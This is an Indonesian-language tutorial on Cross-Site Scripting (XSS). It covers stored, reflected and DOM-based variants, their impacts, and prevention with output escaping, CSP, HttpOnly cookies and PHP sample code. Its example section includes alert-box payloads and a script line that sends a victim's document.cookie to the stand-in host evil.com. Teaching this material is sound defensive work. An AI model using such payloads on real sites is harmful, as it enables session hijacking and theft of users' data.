Cross-Site Scripting (XSS) adalah jenis serangan keamanan web di mana penyerang menyisipkan skrip berbahaya (biasanya JavaScript) ke dalam halaman web yang dilihat oleh pengguna lain. Skrip ini dijalankan di browser korban, memungkinkan penyerang untuk mencuri data sensitif, seperti cookie sesi, token autentikasi, atau informasi pribadi lainnya, serta melakukan tindakan berbahaya atas nama pengguna.
Berikut adalah penjelasan lengkap tentang XSS, termasuk jenis-jenisnya, cara kerjanya, dampaknya, dan cara mencegahnya:
Apa Itu XSS?
XSS terjadi ketika aplikasi web tidak memvalidasi atau membersihkan input pengguna dengan benar sebelum menampilkannya di halaman web. Penyerang memanfaatkan celah ini untuk menyisipkan kode JavaScript (atau skrip lainnya) yang akan dijalankan oleh browser pengguna yang mengakses halaman tersebut.
Contoh sederhana:
- Seorang penyerang memasukkan
<script>alert('Hacked!');</script>
ke dalam kolom input (misalnya, kolom komentar). - Jika server tidak memfilter input tersebut dan langsung menampilkannya di halaman, browser pengguna akan menjalankan skrip tersebut, menampilkan pop-up “Hacked!”.
Jenis-Jenis XSS
Ada tiga jenis utama XSS:
1. Stored XSS (Persistent XSS):
- Skrip berbahaya disimpan di server (misalnya, di database) dan ditampilkan ke setiap pengguna yang mengakses halaman tertentu.
- Contoh: Penyerang memasukkan skrip ke dalam kolom komentar di situs web. Setiap pengguna yang melihat komentar tersebut akan menjalankan skrip berbahaya.
- Dampak: Sangat berbahaya karena memengaruhi banyak pengguna.
2. Reflected XSS (Non-Persistent XSS):
- Skrip berbahaya dimasukkan melalui parameter URL (misalnya,
?search=<script>alert('Hacked!')</script>
) dan langsung ditampilkan di halaman tanpa disimpan di server. - Contoh: Penyerang mengirimkan tautan berbahaya kepada korban, dan ketika korban mengkliknya, skrip dijalankan.
- Dampak: Bergantung pada bagaimana penyerang menyebarkan tautan tersebut (misalnya, melalui phishing).
3. DOM-Based XSS:
- Serangan terjadi di sisi klien (browser) tanpa melibatkan server. Skrip berbahaya memanipulasi DOM (Document Object Model) halaman web.
- Contoh: JavaScript di halaman mengambil input dari URL atau elemen halaman tanpa validasi, lalu memprosesnya secara langsung.
- Dampak: Sulit dideteksi karena tidak selalu melibatkan server.
Cara Kerja XSS
- Input Pengguna Tidak Tervalidasi: Pengguna (atau penyerang) memasukkan data melalui formulir, parameter URL, atau input lainnya.
- Server Menampilkan Input Secara Langsung: Jika input tidak difilter atau di-encode, skrip berbahaya akan dimasukkan ke dalam halaman web.
- Eksekusi di Browser Korban: Browser pengguna menjalankan skrip tersebut karena menganggapnya sebagai bagian sah dari halaman web.
- Dampak: Penyerang dapat:
- Mencuri cookie sesi untuk membajak akun pengguna.
- Mengarahkan pengguna ke situs berbahaya.
- Memodifikasi tampilan halaman (defacement).
- Mengambil data sensitif, seperti kata sandi atau informasi kartu kredit.
Dampak XSS
- Kompromi Data Pengguna: Penyerang dapat mencuri cookie, token autentikasi, atau data lain yang tersimpan di browser.
- Penipuan atau Phishing: Penyerang dapat menampilkan formulir palsu untuk mengelabui pengguna agar memasukkan informasi sensitif.
- Penyebaran Malware: Skrip berbahaya dapat mengarahkan pengguna ke situs yang menyebarkan malware.
- Defacement: Mengubah tampilan situs web untuk menipu pengguna atau merusak reputasi situs.
- Kompromi Sistem: Dalam kasus ekstrem, XSS dapat digunakan sebagai langkah awal untuk serangan lebih lanjut, seperti eksploitasi server.
Contoh Serangan XSS
Stored XSS
Penyerang memasukkan <script>document.location='http://evil.com?cookie='+document.cookie;</script>
ke dalam kolom komentar. Ketika pengguna lain mengunjungi halaman komentar, skrip ini akan mengirim cookie sesi pengguna ke situs penyerang (evil.com
).
Reflected XSS
Penyerang mengirimkan tautan seperti:
http://example.com/search?query=<script>alert('Hacked!');</script>
Jika situs menampilkan nilai query
tanpa pembersihan, skrip akan dijalankan di browser korban.
DOM-Based XSS
Halaman memiliki JavaScript seperti:
document.write(document.location.search.substring(1));
Penyerang mengirimkan URL seperti http://example.com/?<script>alert('Hacked!')</script>
, dan skrip dijalankan langsung di browser.
Cara Mencegah XSS
Untuk mencegah XSS, Anda perlu menerapkan praktik keamanan di sisi server, klien, dan browser. Berikut adalah langkah-langkahnya:
1. Escape/Encode Input Pengguna:
- Gunakan fungsi untuk meng-encode karakter khusus agar tidak dianggap sebagai kode HTML/JavaScript.
- Di PHP, gunakan fungsi seperti
htmlspecialchars()
untuk mengubah karakter seperti<
,>
, dan"
menjadi entitas HTML (<
,>
,"
). - Contoh:
php $user_input = htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8'); echo $user_input;
2. Validasi dan Sanitasi Input:
- Validasi semua input pengguna untuk memastikan hanya data yang diizinkan yang diproses (misalnya, hanya huruf dan angka untuk nama).
- Gunakan library seperti
HTMLPurifier
untuk membersihkan input HTML.
3. Gunakan Content Security Policy (CSP):
- Tambahkan header CSP untuk membatasi sumber skrip yang diizinkan dijalankan.
- Contoh header:
Content-Security-Policy: script-src 'self';
Ini mencegah eksekusi skrip dari sumber eksternal atau inline.
4. Hindari Penggunaan eval
atau innerHTML
:
- Jangan gunakan fungsi seperti
eval()
atauinnerHTML
di JavaScript karena dapat menjalankan kode berbahaya. - Gunakan metode aman seperti
textContent
ataucreateTextNode
.
5. Gunakan Framework Aman:
- Framework modern seperti Laravel, React, atau Vue sering kali memiliki perlindungan bawaan terhadap XSS (misalnya, escaping otomatis).
- Di Laravel, gunakan sintaks Blade
{{ $variable }}
untuk otomatis meng-escape output.
6. Set Cookie dengan HttpOnly
:
- Tambahkan atribut
HttpOnly
pada cookie untuk mencegah akses melalui JavaScript. - Contoh di PHP:
php setcookie('session', 'value', ['httponly' => true]);
7. Gunakan Header X-Content-Type-Options
:
- Tambahkan header
X-Content-Type-Options: nosniff
untuk mencegah browser menginterpretasikan file dengan tipe konten yang salah.
8. Edukasi Pengembang:
- Pastikan pengembang memahami risiko XSS dan menerapkan praktik pengkodean yang aman.
Alat untuk Mendeteksi XSS
- Scanner Keamanan: Gunakan alat seperti OWASP ZAP, Burp Suite, atau Acunetix untuk mendeteksi kerentanan XSS.
- Browser Developer Tools: Periksa apakah input pengguna ditampilkan tanpa escaping.
- Audit Kode: Tinjau kode untuk memastikan semua input di-escape dan divalidasi.
Contoh Implementasi Pencegahan di PHP
Misalnya, Anda memiliki formulir komentar. Berikut cara menangani input dengan aman:
<?php
// File: save_comment.php
$comment = $_POST['comment'];
// Validasi: Pastikan hanya teks yang diizinkan
if (preg_match('/^[a-zA-Z0-9\s.,!?]*$/', $comment)) {
// Escape output sebelum disimpan atau ditampilkan
$safe_comment = htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');
// Simpan ke database (pastikan menggunakan prepared statements)
$pdo = new PDO('mysql:host=localhost;dbname=test', 'user', 'pass');
$stmt = $pdo->prepare('INSERT INTO comments (content) VALUES (?)');
$stmt->execute([$safe_comment]);
echo $safe_comment;
} else {
echo "Input tidak valid!";
}
?>
Saat menampilkan komentar:
<?php
// File: display_comments.php
$pdo = new PDO('mysql:host=localhost;dbname=test', 'user', 'pass');
$stmt = $pdo->query('SELECT content FROM comments');
while ($row = $stmt->fetch()) {
// Output sudah di-escape saat disimpan, tetapi tambahkan htmlspecialchars untuk jaga-jaga
echo htmlspecialchars($row['content'], ENT_QUOTES, 'UTF-8') . '<br>';
}
?>
Kesimpulan
XSS adalah ancaman serius yang dapat dicegah dengan praktik pengkodean yang aman. Dengan meng-escape input, memvalidasi data, menggunakan header keamanan, dan memanfaatkan framework modern, Anda dapat secara signifikan mengurangi risiko XSS. Selalu uji aplikasi Anda untuk kerentanan dan pastikan tim pengembang memahami pentingnya keamanan web.